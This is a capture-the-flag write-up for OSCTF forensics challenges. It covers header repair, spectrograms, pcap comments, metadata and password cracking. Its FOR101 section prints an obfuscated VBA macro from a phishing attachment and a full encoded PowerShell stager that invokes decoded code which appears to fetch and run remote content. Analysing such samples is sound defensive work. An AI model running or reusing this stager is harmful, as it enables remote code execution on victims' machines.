# OSCTF
Solved by Raviel
All the challenges:
## The Lost Image Mystery


the challenge gave us a corrupted file so we need to fix it header


With these evidence we can determine that this file is jpg picture so we just need to fix it header back and we will get the flag

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## The Hidden Soundwave

The challenge gave us an audio file, after listen to it there is a weird sound at the end of the song so I will open it in Sonic Visualizer and open spectogram to observe

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## Mysterious Website Incident

the challenge gave us a log file after checking out the file, I found a suspicious link

open it we will get the flag

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## Cyber Heist Conspiracy


the challenge gave us a pcap file but the first thing that I notice is that there is packet comment

open it up, we got the flag
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## PDF Puzzle

the challenge give us a PDF with some redacted word, after checking them out there nothing special I used exiftool and found the flag


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## Seele Vellorei

The challenge gave us a docx file so I will open it first
I pressed ctrl + A to check for white colour text and found something suspicious and there is the flag


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## FOR101

The challenge gave us a folder contain all files of an user and said something about email so its must be a phishing attack, first I will be checking the outlook folder or you can use tree to find it easier


found it the eml file

unzip the file with the given password, there is a xlsm file kinda sus, using olevba to check it and yea its definately the reason

I will dump all those macro code

it got encrypted or something I cant read those string beside the main code like "Function", "next",....
I see that its trying to decode something
```
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
```

and this look like some kind of URL
so that function could be decode that URL, using this code to decode the string, open it will give us the flag.

open up the link, there is somekind of bashscript, but it is encoded in base64

```
& ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( 'JAAwAEwARABFAHgATgBpACAAPQAgACcASgBIAEYAMwBaAFcAUgBtAFkAWABvAGcAUABTAEEAbwBNAFQAQQAwAEwARABFAHgATgBpAHcAeABNAFQAWQBzAE0AVABFAHkATABEAEUAeABOAFMAdwAxAE8AQwB3ADAATgB5AHcAMABOAHkAdwB4AE0AVABJAHMATwBUAGMAcwBNAFQARQAxAEwARABFAHgATgBpAHcAeABNAEQARQBzAE8AVABnAHMATQBUAEEAMQBMAEQARQB4AE0AQwB3ADAATgBpAGsANwBKAEgARgAzAFoAVwBSAG0AWQBYAG8AZwBLAHoAMABnAEsARABFAHgATQBpAHcAeABNAEQAZwBzAE4ARABjAHMATQBUAEUANABMAEQARQB3AE4AUwB3AHgATQBEAEUAcwBNAFQARQA1AEwARABRADMATABEAEUAeABOAEMAdwA1AE4AeQB3AHgATQBUAGsAcwBOAEQAYwBzAE8AVABnAHMATQBUAEEAdwBMAEQAawA1AEwARABrADMATABEAFEANQBMAEQAVQAxAEwARABRADQATABEAFUAdwBLAFQAcwBrAFoAMgBGAHMAWgBpAEEAOQBJAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBrAEYAVABRADAAbABKAEwAawBkAGwAZABGAE4AMABjAG0AbAB1AFoAeQBnAGsAYwBYAGQAbABaAEcAWgBoAGUAaQBrADcASgBIAE0AOQBKAHoARQB5AE4AeQA0AHcATABqAEEAdQBNAFQAbwA0AE0ARABnAHcASgB6AHMAawBhAFQAMABuAFoAVwBWAG0ATwBHAFYAbQBZAFcATQB0AE0AegBJAHgAWgBEAFEAMgBOAFcAVQB0AFoAVABsAGsATQBEAFUAegBZAFQAYwBuAE8AeQBSAHcAUABTAGQAbwBkAEgAUgB3AE8AaQA4AHYASgB6AHMAawBkAGoAMQBKAGIAbgBaAHYAYQAyAFUAdABWADIAVgBpAFUAbQBWAHgAZABXAFYAegBkAEMAQQB0AFYAWABOAGwAUQBtAEYAegBhAFcATgBRAFkAWABKAHoAYQBXADUAbgBJAEMAMQBWAGMAbQBrAGcASgBIAEEAawBjAHkAOQBsAFoAVwBZADQAWgBXAFoAaABZAHkAQQB0AFMARwBWAGgAWgBHAFYAeQBjAHkAQgBBAGUAeQBKAFkATABUAFkANABNAEcAUQB0AE4ARABkAGwATwBDAEkAOQBKAEcAbAA5AE8AMwBkAG8AYQBXAHgAbABJAEMAZwBrAGQASABKADEAWgBTAGwANwBKAEcATQA5AEsARQBsAHUAZABtADkAcgBaAFMAMQBYAFoAVwBKAFMAWgBYAEYAMQBaAFgATgAwAEkAQwAxAFYAYwAyAFYAQwBZAFgATgBwAFkAMQBCAGgAYwBuAE4AcABiAG0AYwBnAEwAVgBWAHkAYQBTAEEAawBjAEMAUgB6AEwAegBNAHkATQBXAFEAMABOAGoAVgBsAEkAQwAxAEkAWgBXAEYAawBaAFgASgB6AEkARQBCADcASQBsAGcAdABOAGoAZwB3AFoAQwAwADAATgAyAFUANABJAGoAMABrAGEAWAAwAHAATABrAE4AdgBiAG4AUgBsAGIAbgBRADcAYQBXAFkAZwBLAEMAUgBqAEkAQwAxAHUAWgBTAEEAbgBUAG0AOQB1AFoAUwBjAHAASQBIAHMAawBjAGoAMQBwAFoAWABnAGcASgBHAE0AZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOADAAYgAzAEEAZwBMAFUAVgB5AGMAbQA5AHkAVgBtAEYAeQBhAFcARgBpAGIARwBVAGcAWgBUAHMAawBjAGoAMQBQAGQAWABRAHQAVQAzAFIAeQBhAFcANQBuAEkAQwAxAEoAYgBuAEIAMQBkAEUAOQBpAGEAbQBWAGoAZABDAEEAawBjAGoAcwBrAGQARAAxAEoAYgBuAFoAdgBhADIAVQB0AFYAMgBWAGkAVQBtAFYAeABkAFcAVgB6AGQAQwBBAHQAVgBYAEoAcABJAEMAUgB3AEoASABNAHYAWgBUAGwAawBNAEQAVQB6AFkAVABjAGcATABVADEAbABkAEcAaAB2AFoAQwBCAFEAVAAxAE4AVQBJAEMAMQBJAFoAVwBGAGsAWgBYAEoAegBJAEUAQgA3AEkAbABnAHQATgBqAGcAdwBaAEMAMAAwAE4AMgBVADQASQBqADAAawBhAFgAMABnAEwAVQBKAHYAWgBIAGsAZwBLAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBsAFYAVQBSAGoAZwB1AFIAMgBWADAAUQBuAGwAMABaAFgATQBvAEoARwBVAHIASgBIAEkAcABJAEMAMQBxAGIAMgBsAHUASQBDAGMAZwBKAHkAbAA5AEkASABOAHMAWgBXAFYAdwBJAEQAQQB1AE8AWAAwAD0AJwA7ACQAMgBWAEMAWQBYAE4AcABZADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAMABMAEQARQB4AE4AaQApACkAOwAkAHMAawBjAGoAMQBQAGQAWABRAHQAIAA9ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBTAGUAYwB1AHIAZQBTAHQAcgBpAG4AZwAgAC0AUwB0AHIAaQBuAGcAIAAkADIAVgBDAFkAWABOAHAAWQAxACAALQBBAHMAUABsAGEAaQBuAFQAZQB4AHQAIAAtAEYAbwByAGMAZQA7ACQAVgB6AGQAQwBBAHQAVgBYAEoAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFAAUwBDAHIAZQBkAGUAbgB0AGkAYQBsACgAJwBkAFcAVgB6AGQAZAB6AEMAQQB0ACcALAAgACQAcwBrAGMAagAxAFAAZABYAFEAdAApADsAaQBlAHgAIAAkAFYAegBkAEMAQQB0AFYAWABKAHAALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApAC4AUABhAHMAcwB3AG8AcgBk' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})
```

and we got another base64 lol

Finally we got the code and theres a decimal string decode it will give us a link


here is the flag!
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## Seele Vellorei - Revenge

the challenge gave us a protected zip with password, using hashcat we know that the password is loveyou, open up the docx file inside the zip

there is something behind Delta's picture

we can change the extension name of the word file from docx to zip to take out the picture (do it by yourself lmao)
using exiftool we can find something special

searching google about ciphernonce and you eventually find this

reading through the comment, there is a similar case and a solution

using the same password as the zip file we can now get the flag


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